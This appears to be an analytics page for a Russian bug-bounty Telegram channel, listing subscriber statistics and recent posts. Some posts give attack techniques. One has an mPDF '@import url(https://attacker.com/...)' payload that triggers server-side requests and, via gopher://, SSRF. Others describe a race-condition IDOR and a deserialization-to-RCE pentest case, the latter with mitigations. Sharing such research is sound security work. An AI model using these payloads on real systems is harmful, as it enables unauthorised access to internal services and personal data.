SHADOW:Group
Open in Telegram
Чат: @shadow_chat_tg Рекламу не размещаю. Админ - @shdwpwn
Show more📈 Analytical overview of Telegram channel SHADOW:Group
Channel SHADOW:Group (@shadow_group_tg) in the Russian language segment is an active participant. Currently, the community unites 11 486 subscribers, ranking 10 514 in the Technologies & Applications category and 55 938 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 11 486 subscribers.
According to the latest data from 04 September, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by -12 over the last 30 days and by 5 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 25.00%. Within the first 24 hours after publication, content typically collects 9.43% reactions from the total number of subscribers.
- Post reach: On average, each post receives 2 871 views. Within the first day, a publication typically gains 1 083 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 34.
- Thematic interests: Content is focused on key topics such as middleware, http/1.1, bounty, api, host.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Чат: @shadow_chat_tg
Рекламу не размещаю.
Админ - @shdwpwn”
Thanks to the high frequency of updates (latest data received on 05 September, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
11 486
Subscribers
+524 hours
-97 days
-1230 days
Data loading in progress...
Similar Channels
Tags Cloud
Incoming and Outgoing Mentions
---
---
---
---
---
---
Attracting Subscribers
September '26
September '26
+7
in 0 channels
August '26
+48
in 0 channels
Get PRO
July '26
+96
in 0 channels
Get PRO
June '26
+41
in 1 channels
Get PRO
May '26
+73
in 0 channels
Get PRO
April '26
+60
in 0 channels
Get PRO
March '26
+38
in 2 channels
Get PRO
February '26
+54
in 0 channels
Get PRO
January '26
+58
in 0 channels
Get PRO
December '25
+52
in 2 channels
Get PRO
November '25
+53
in 0 channels
Get PRO
October '25
+92
in 4 channels
Get PRO
September '25
+41
in 0 channels
Get PRO
August '25
+176
in 3 channels
Get PRO
July '25
+51
in 2 channels
Get PRO
June '25
+55
in 0 channels
Get PRO
May '25
+69
in 6 channels
Get PRO
April '25
+177
in 0 channels
Get PRO
March '25
+124
in 4 channels
Get PRO
February '25
+113
in 7 channels
Get PRO
January '25
+91
in 3 channels
Get PRO
December '24
+80
in 1 channels
Get PRO
November '24
+116
in 2 channels
Get PRO
October '24
+115
in 4 channels
Get PRO
September '24
+235
in 4 channels
Get PRO
August '24
+324
in 1 channels
Get PRO
July '24
+341
in 5 channels
Get PRO
June '24
+381
in 14 channels
Get PRO
May '24
+325
in 4 channels
Get PRO
April '24
+336
in 7 channels
Get PRO
March '24
+390
in 2 channels
Get PRO
February '24
+559
in 8 channels
Get PRO
January '24
+427
in 8 channels
Get PRO
December '23
+389
in 5 channels
Get PRO
November '23
+121
in 0 channels
Get PRO
October '23
+173
in 3 channels
Get PRO
September '23
+282
in 0 channels
Get PRO
August '23
+231
in 0 channels
Get PRO
July '23
+158
in 0 channels
Get PRO
June '23
+155
in 0 channels
Get PRO
May '23
+439
in 0 channels
Get PRO
April '23
+212
in 0 channels
Get PRO
March '23
+131
in 0 channels
Get PRO
February '23
+72
in 0 channels
Get PRO
January '23
+312
in 0 channels
Get PRO
December '22
+120
in 0 channels
Get PRO
November '22
+156
in 0 channels
Get PRO
October '22
+567
in 0 channels
Get PRO
September '22
+736
in 0 channels
Get PRO
August '22
+267
in 0 channels
Get PRO
July '22
+383
in 0 channels
Get PRO
June '22
+143
in 0 channels
Get PRO
May '22
+199
in 0 channels
Get PRO
April '22
+358
in 0 channels
Get PRO
March '22
+1 205
in 0 channels
Get PRO
February '22
+88
in 0 channels
Get PRO
January '22
+181
in 0 channels
Get PRO
December '21
+211
in 0 channels
Get PRO
November '21
+1 106
in 0 channels
Get PRO
October '21
+291
in 0 channels
Get PRO
September '21
+1 218
in 0 channels
Get PRO
August '21
+799
in 0 channels
Get PRO
July '21
+137
in 0 channels
Get PRO
June '21
+256
in 0 channels
Get PRO
May '21
+250
in 0 channels
Get PRO
April '21
+258
in 0 channels
Get PRO
March '21
+261
in 0 channels
Get PRO
February '21
+392
in 0 channels
Get PRO
January '21
+1 112
in 0 channels
| Date | Subscriber Growth | Mentions | Channels | |
| 04 September | +5 | |||
| 03 September | +1 | |||
| 02 September | +1 | |||
| 01 September | 0 |
Channel Posts
Repost from Backconnect
Разбор как нашлась CVE-2026-18963: Keycloak reset-credentials flow ATO
https://www.pruva.dev/reproductions/REPRO-2026-00337#artifacts
Нуклей шаблон для проверки
https://github.com/projectdiscovery/nuclei-templates/pull/16995/files
____
🤓 backconnect
| 2 |  Объявлены результаты конкурса Pentest Awards 2026! И мы постепенно будем публиковать интересные кейсы, с которыми наши эксперты участвовали в этом конкурсе.
Первым поздравляем Виктора Зварыкина: он уже второй год подряд забирает медаль "фаворит года по версии жюри". Вот что говорит сам автор о своём призовом кейсе:
"Глубина — история о том, почему в информационной безопасности недостаточно просто запустить готовый инструмент и получить результат. Главный герой находит уязвимость в реальной системе, но довольно быстро понимает, что успешный взлом — это только начало.
Вместе с более опытным другом он начинает разбираться, как устроена система и почему возможна эксплуатация этого вектора. Весь рассказ погружён в атмосферу цикла произведений "Глубина" Сергея Лукьяненко, где цифровой мир становится почти настоящим."
Суть кейса кратко:
Работы по анализу защищённости проходили в крупной иностранной компании, одной из главных задач пентеста было пробитие внешнего периметра.
На этапе OSINT-разведки был обнаружен веб-интерфейс IIS (Internet Information Services), в котором часто встречается уязвимость чтения имен файлов и директорий в legacy-формате 8.3. Вследствие этого был обнаружен эндпоинт с неизвестным веб-сервисом, войти в который получилось благодаря нативно используемым учетным данным.
Разобравшись с функциональностью приложения, наши герои выявили, что в одном из запросов информация передавалась как .NET-сериализованный объект, использовавший небезопасный сериализатор BinaryFormatter. Успешная эксплуатация привела к RCE через DNS-эксфильтрацию.
Как избежать подобных атак:
(1) Параметр реестра NtfsDisable8dot3NameCreation используется для управления созданием коротких имен файлов (в формате 8.3) на томах NTFS в операционных системах Windows. Этот параметр важен для обеспечения совместимости со старыми приложениями, использующими соглашение об именовании файлов 8.3, однако он также может влиять на производительность и безопасность.
Чтобы устранить уязвимость, нужно поменять значение параметра NtfsDisable8dot3NameCreation на 1. Путь к нему:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation
Перед изменением значения необходимо проверить функционал работающих сервисов, чтобы не нарушить работу legacy-приложений.
(2) Полностью откажитесь от BinaryFormatter: его крайне сложно безопасно настроить или защитить фильтрацией. Используйте современные сериализаторы — например, System.Text.Json, а принимаемые данные проверяйте по заранее определённой структуре и разрешённым типам.
Для компактного бинарного формата Microsoft рекомендует MessagePack или protobuf-net; для XML — DataContractSerializer.
Начиная с .NET 9 встроенная реализация BinaryFormatter уже отключена.
(3) Используйте сложные и несловарные пароли для аутентификации в веб-сервисы.
Полную версию кейса Виктора в стиле "Глубины" читайте в нашем гитхабе. | 1 696 |
| 3 | Постов не будет, админ ушел сниматься в рилсах… | 2 424 |
| 4 |  +2В этом году Pentest Award прошел в атмосфере роскоши, с шикарным видом на набережную и город. Удалось пообщаться с сильными профессионалами и послушать несколько кулстори из их практики. Ну и естественно узнать немного инсайдов непосредственно от победителей. Кстати, итоги церемонии можете глянуть на Хабре. Многие вроде как планируют опубликовать свои работы на хакере, так что в скором времени вы и сами с ними ознакомитесь, там действительно есть уникальные материалы. Отдельное спасибо @poopsa_liza за приглашение и организацию, все прошло отлично. Кому интересно глянуть фоточки они есть тут, а также есть запись трансляции с самого награждения. | 3 787 |
| 5 | ТБанк вместо одной кнопки "Бабло", прислал сразу три. Осталось переписать скрипт, чтобы сразу Claude запускался. | 2 342 |
| 6 |  Video message | 2 347 |
| 7 | Если вы, как и я, откладывали статью до последнего, то пора отправлять. | 4 027 |
| 8 | Вокруг все такие молодые, красивые, богатые и успешные, поэтому призываю вас подать свою заявку на OFFZONE, чтобы рассказать, как стать таким же. | 4 517 |
| 9 | В эту пятницу планирую посетить конференцию Периметр от Metascan'a и вечером на оффлайн часть Bugs Zone. Если будет кто из подписчиков и знакомых, пишите, буду рад пообщаться 👀 | 2 343 |
| 10 |  Race Condition одна из тех уязвимостей, которая порой позволяет находить баги там, где их совсем не ждешь. И иногда, чтобы получить какой-нибудь IDOR, достаточно очень много раз попросить об этом приложение.
В кейсе на скрине, как раз такой случай. При указании чужого id получаем ошибку, однако, если запустить intruder и подождать несколько тысяч запросов, сервер внезапно начинает отдавать нам чужие ПД.
#web #race #idor | 4 139 |
| 11 | Стартовал прием заявок на Pentest Award 2026 и в этом году появилась новая номинация - AI. Думаю, за последний год у многих есть что сказать по этой теме.
Остальные номинации также на месте: Kill Chain, Системный взлом (Web & Logic), Device и Out of Scope. Среди призов стандартно респект от комьюнити и техника Apple.
Заявки принимают до 12 июля, а церемония награждения пройдет 14 августа в мск.
https://t.me/justsecurity/441 | 3 293 |
| 12 |  🪲 Топовый мерч, две недели закрытого скоупа, ламповая афтепати-вечеринка…
Все это ждет вас на нашем любимом приватном ивенте — BUGS ZONE 7.0.
Приглашения, как обычно, отправим багхантерам с лучшими результатами за сезон.
🔵Старт хантинга — 15 апреля.
🔵Церемония и афтепати — 22 мая в Москве.
Попасть на ивент может каждый. Сдавайте отчеты на нашей платформе и качайте рейтинг — мы обязательно заметим самых активных.
Скоро поделимся подробностями. Следите за апдейтами! | 3 244 |
| 13 |  У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с @import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
@import url(https://attacker.com/test?.css)
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.
Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf | 4 021 |
| 14 | Искал тут что посмотреть под еду на ютубе, и реки вывели мне сей шедевр. Прекрасно все, начиная с кулстори самого проекта, который форсили во многих изданиях, заканчивая сайтом на пыхе с паролями юзеров в открытом виде.
https://www.youtube.com/watch?v=HGbP2ibfm8k | 4 015 |
| 15 |  Иногда, когда читаешь раскрытый репорт или статью на Medium об уязвимости в багбаунти, хочется потрогать это руками и заложить у себя в навыках ту или иную багу немного глубже.😵💫
Так вот, в итоге из этой мысли я сделал: https://labs.hackadvisor.io/
Все машинки собраны из публичных репортов и статей ресерчеров. Сейчас можно разворачивать стенд, решать задачи, получать подсказки и разбор уязвимости по итогу. Буду потихоньку пилить интересные машинки из раскрытых отчётов — надеюсь, вы тоже закинете что-то интересное: оно обязательно появится.
Сразу дисклеймер: у меня пока небольшой опыт в создании таких заданий, так что где-то может быть шероховато. Но со временем буду делать лучше — и сами задания, и их подачу — и добавлять больше интересных сценариев.
В целом Labs — это всего лишь MVP и первый этап будущей полноценной экосистемы HackAdvisor, которая, как и всё для сообщества, совершенно бесплатна.
Всех обнял, жду фидбек, баги и фича-реквесты🙌🏻
Ну и, пожалуйста, не ломайте сам Labs (даже если очень хочется) — пока там всё очень хрупко 🫠 | 3 306 |
| 16 | Захват аккаунта через telegram-бот: от своего номера к чужому профилю
Всего пять минут ожидания, один чужой номер телефона и обычная кнопка для получения ссылки — этого оказалось достаточно, чтобы обнаружить критическую уязвимость. Настолько минимальный сценарий неожиданно вскрыл проблему в логике обработки данных.
Читать 👉 https://blog.deteact.ru/account-takeover-thru-telegram-bot/ | 3 360 |
| 17 |  Друзья, поздравляю вас с наступающим Новым годом 🎄
Пусть он принесёт больше спокойствия, уверенности в себе и своих идеях, новых положительных эмоций и ощущения, что вы идёте в правильном направлении.
Желаю интересных и результативных находок, роста там, где вам действительно важно, и достижения новых высот.
Постарайтесь отдохнуть в эти праздники и набраться сил. Пусть в новом году всё станет хотя бы немного лучше, чем в прошлом.
Спасибо, что вы здесь. Увидимся в 2026 ❤️ | 3 543 |
| 18 |  кстати, это я) узнали? согласны? | 3 216 |
| 19 |  Вот с таким интересным принтом получил футболку от ребят из BI.ZONE Bug Bounty. Говорят, если присмотреться, то можно увидеть на нем множество знакомых лиц из багбаунти сообщества. Я узнал примерно половину) | 3 187 |
| 20 |  Недавно занял 2 место в приватном ивенте от ТБанка. Ребята порадовали интересным скоупом и достойными выплатами за что им большой респект 😎 | 3 975 |
